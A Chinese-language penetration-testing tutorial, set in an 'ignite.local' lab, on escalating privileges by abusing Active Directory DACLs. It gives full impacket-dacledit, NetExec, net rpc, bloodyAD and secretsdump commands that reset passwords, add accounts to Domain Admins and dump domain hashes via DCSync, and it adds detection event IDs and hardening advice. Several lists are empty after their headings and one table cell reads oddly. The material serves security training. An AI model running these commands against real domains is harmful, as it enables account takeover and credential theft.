导语:DACL(自主访问控制列表)是Microsoft Active Directory中最强大、也最容易被误解的组件之一。每个AD对象(用户、组、OU甚至域根)都携带包含DACL的安全描述符。当管理员错误配置这些ACE时,攻击者可以滥用它们提升权限、重置特权账户密码、复制域凭据,最终拿下整个域——全程不需要任何传统漏洞利用。
DACL基础:理解Active Directory中的权限机制
什么是DACL?
DACL是每个AD对象安全描述符的组成部分,包含零个或多个ACE,每个ACE指定:
为什么DACL对攻击者至关重要
与传统漏洞不同,DACL滥用利用的是合法的Windows功能。如果攻击者可以写入对象的DACL,他可以静默地为自己授予任何权限——而不触发大多数安全工具的告警。危险的权限包括:
技术一:ForceChangePassword(用户→用户权限提升)
概述
User-Force-Change-Password扩展权限(GUID: 00299570-246d-11d0-a768-00aa006e0529)允许安全主体在不知道原密码的情况下更改另一用户的密码。这种错误配置在AD环境中很常见——helpdesk或支持账户被授予密码重置权限,但范围划得过大。
步骤1:授予jerry对tom的ForceChangePassword权限
使用管理员凭据,将ForceChangePassword权限写入用户对象CN=tom,CN=Users,DC=ignite,DC=local的DACL,授予主体jerry:
impacket-dacledit -action write -rights ResetPassword -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11
步骤2:验证ACE已写入
该命令显示用户jerry在ignite.local域中对对象tom拥有特定的委托权限:
impacket-dacledit -principal jerry -target 'tom' -dc-ip 192.168.1.11 ignite.local/jerry:Password@1

步骤3:更改tom的密码并验证
NetExec的change-password模块执行密码重置——不需要知道tom的当前密码:
nxc smb 192.168.1.11 -u jerry -p Password@1 -M change-password -o USER=tom NEWPASS=Admin@123nxc smb 192.168.1.11 -u jerry -p Admin@123

步骤4:恢复DACL
演示漏洞后,恢复原始DACL:
impacket-dacledit -action restore -file dacledit-20260328-141554.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11
技术二:Domain Admins组的FullControl→组成员身份
概述
如果攻击者获得组对象的FullControl(等价于GenericAll),他可以直接操作组成员、更改组的DACL,或对该对象执行任何其他操作。获得Domain Admins组的FullControl相当于通往域控的路径。
步骤1:授予raaz对Domain Admins的FullControl
impacket-dacledit -action write -rights FullControl -principal raaz -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11
步骤2:验证ACE
以raaz身份读取Domain Admins组DACL,确认FullControl(GenericAll等价)通过大量ACCESS_ALLOWED_OBJECT_ACE条目存在:
impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/raaz:Password@1' -dc-ip 192.168.1.11
步骤3:添加raaz到Domain Admins
拥有FullControl后,raaz可以通过net rpc直接将自己添加到组:
net rpc group addmem "Domain Admins" "raaz" -U ignite.local/raaz%'Password@1' -S 192.168.1.11
确认组成员身份:
net rpc group members "Domain Admins" -U "ignite.local/raaz%Password@1" -S 192.168.1.11

步骤4:恢复
演示漏洞后,恢复原始DACL:
impacket-dacledit -action restore -file dacledit-20260328-142121.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11
技术三:通过域根DACL滥用实现DCSync
概述
DCSync是一种滥用MS-DRSR(目录复制服务远程协议)的技术,向域控制器请求凭据数据复制——就像另一台域控制器请求复制一样。域根上需要两个扩展权限:
将这两个权限授予非特权用户,允许其dump所有域凭据包括krbtgt哈希——从而实现黄金票据攻击。
步骤1:授予kinjal DCSync权限
本实验演示了两种方法。第一种使用命名备份文件便于清晰追踪:
impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11
步骤2:验证DCSync ACE
回读kinjal在域根上的ACE,确认两个复制权限都存在:
impacket-dacledit -principal kinjal -target-dn "DC=ignite,DC=local" -dc-ip 192.168.1.11 ignite.local/kinjal:Password@1
步骤3:执行DCSync——转储所有域哈希
在复制权限就位后,impacket-secretsdump通过DRSUAPI执行完整凭据dump(注意:DCERPC RemoteOperations失败,回退到DRSUAPI——这是正常的):
impacket-secretsdump ignite.local/kinjal:Password@1@192.168.1.11
步骤4:恢复DCSync权限
演示漏洞后,恢复原始DACL:
impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11
技术四:WriteMembers DACL滥用
概述
WriteMembers权限允许ankur账户向Domain Admins组添加或删除成员,而不需要完整的域管理员权限。这代表了一种持久化后门——即使ankur的组成员身份被撤销,底层DACL权限仍然存在,可重新提权。
步骤1:授予ankur对Domain Admins的WriteMembers
步骤2:验证WriteMember ACE
以ankur身份读取DACL,显示多个READ ACE(继承的基线)和新授予的WriteMember访问:
impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/ankur:Password@1' -dc-ip 192.168.1.11
步骤3:通过bloodyAD将ankur添加到Domain Admins
bloodyAD --host "192.168.1.11" -d "ignite.local" -u "ankur" -p "Password@1" add groupMember "Domain Admins" "ankur"
技术五:基于GUID的ACE写入
概述
不使用-rights关键字简写,impacket-dacledit支持使用-rights-guid通过原始扩展权限GUID写入ACE。这对于没有命名简写的权限或脚本化精确ACE添加很有用。
示例:通过GUID写入ForceChangePassword
直接指定User-Force-Change-Password GUID(00299570-246d-11d0-a768-00aa006e0529):
impacket-dacledit -action write -rights-guid 00299570-246d-11d0-a768-00aa006e0529 -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11
使用-file选项(备份与恢复)
-file用于保存和恢复Active Directory权限,是安全ACL修改和恢复的关键选项:
impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11 -file dcsync_backup.bak
演示漏洞后,恢复原始DACL:
impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11
Active Directory DACL权限——GUID速查表
| 权限名称 | GUID | 描述 |
|---|---|---|
| ForceChangePassword | 00299570-246d-11d0-a768-00aa006e0529 | 无需原密码重置用户密码 |
| DS-Replication-Get-Changes | 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 | 复制域凭据变更 |
| DS-Replication-Get-Changes-All | 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 | 完整域复制权限 |
| WriteDACL | 拒绝此操作 | 修改对象DACL |
| FullControl/GenericAll | 所有权限 | 完全控制对象 |
检测与防御建议
检测机会
Windows事件ID 4662——对象被访问:在AD对象上读取DACL时记录(需要在目标OU/对象上启用审核)。
Windows事件ID 4670——对象的权限被更改:在DACL被修改时触发。对敏感对象(Domain Admins组、域根、特权用户对象)的更改发出告警。
Windows事件ID 4728/4732/4756——成员添加到安全启用组:在组成员更改时触发。与非常规管理组成员的账户关联。
Windows事件ID 4769且SPN为复制SPN:DCSync为E3514235-4B06-11D1-AB04-00C04FC2DCD2 SPN生成Kerberos服务票请求——对来自非DC IP的这些请求发出告警。
LDAP监控:关注对nTSecurityDescriptor属性的大量LDAP查询,来自非管理账户的异常查询行为。
防御建议
结论
DACL滥用代表了最具影响力、也最常被忽视的Active Directory攻击类别之一。与漏洞利用不同,这些攻击利用的是内置的Windows权限机制。因此,它们产生的噪音痕迹很少,往往绕过传统安全控制。
ignite.local实验室证明,一个拥有单个错误配置ACE的低权限用户可以在几分钟内提升到Domain Admin并获取域中每个凭据。完整攻击链——从初始ForceChangePassword到完整DCSync——不需要任何漏洞利用、恶意软件或复杂的横向移动。
好消息是:这些攻击路径完全可以通过正确的ACL卫生、分层管理和健壮监控来预防。使用BloodHound进行定期DACL审计,结合SIEM对事件ID 4670和DCSync指标的检测,可以显著降低攻击面。
seo优化_前端开发_渗透技术







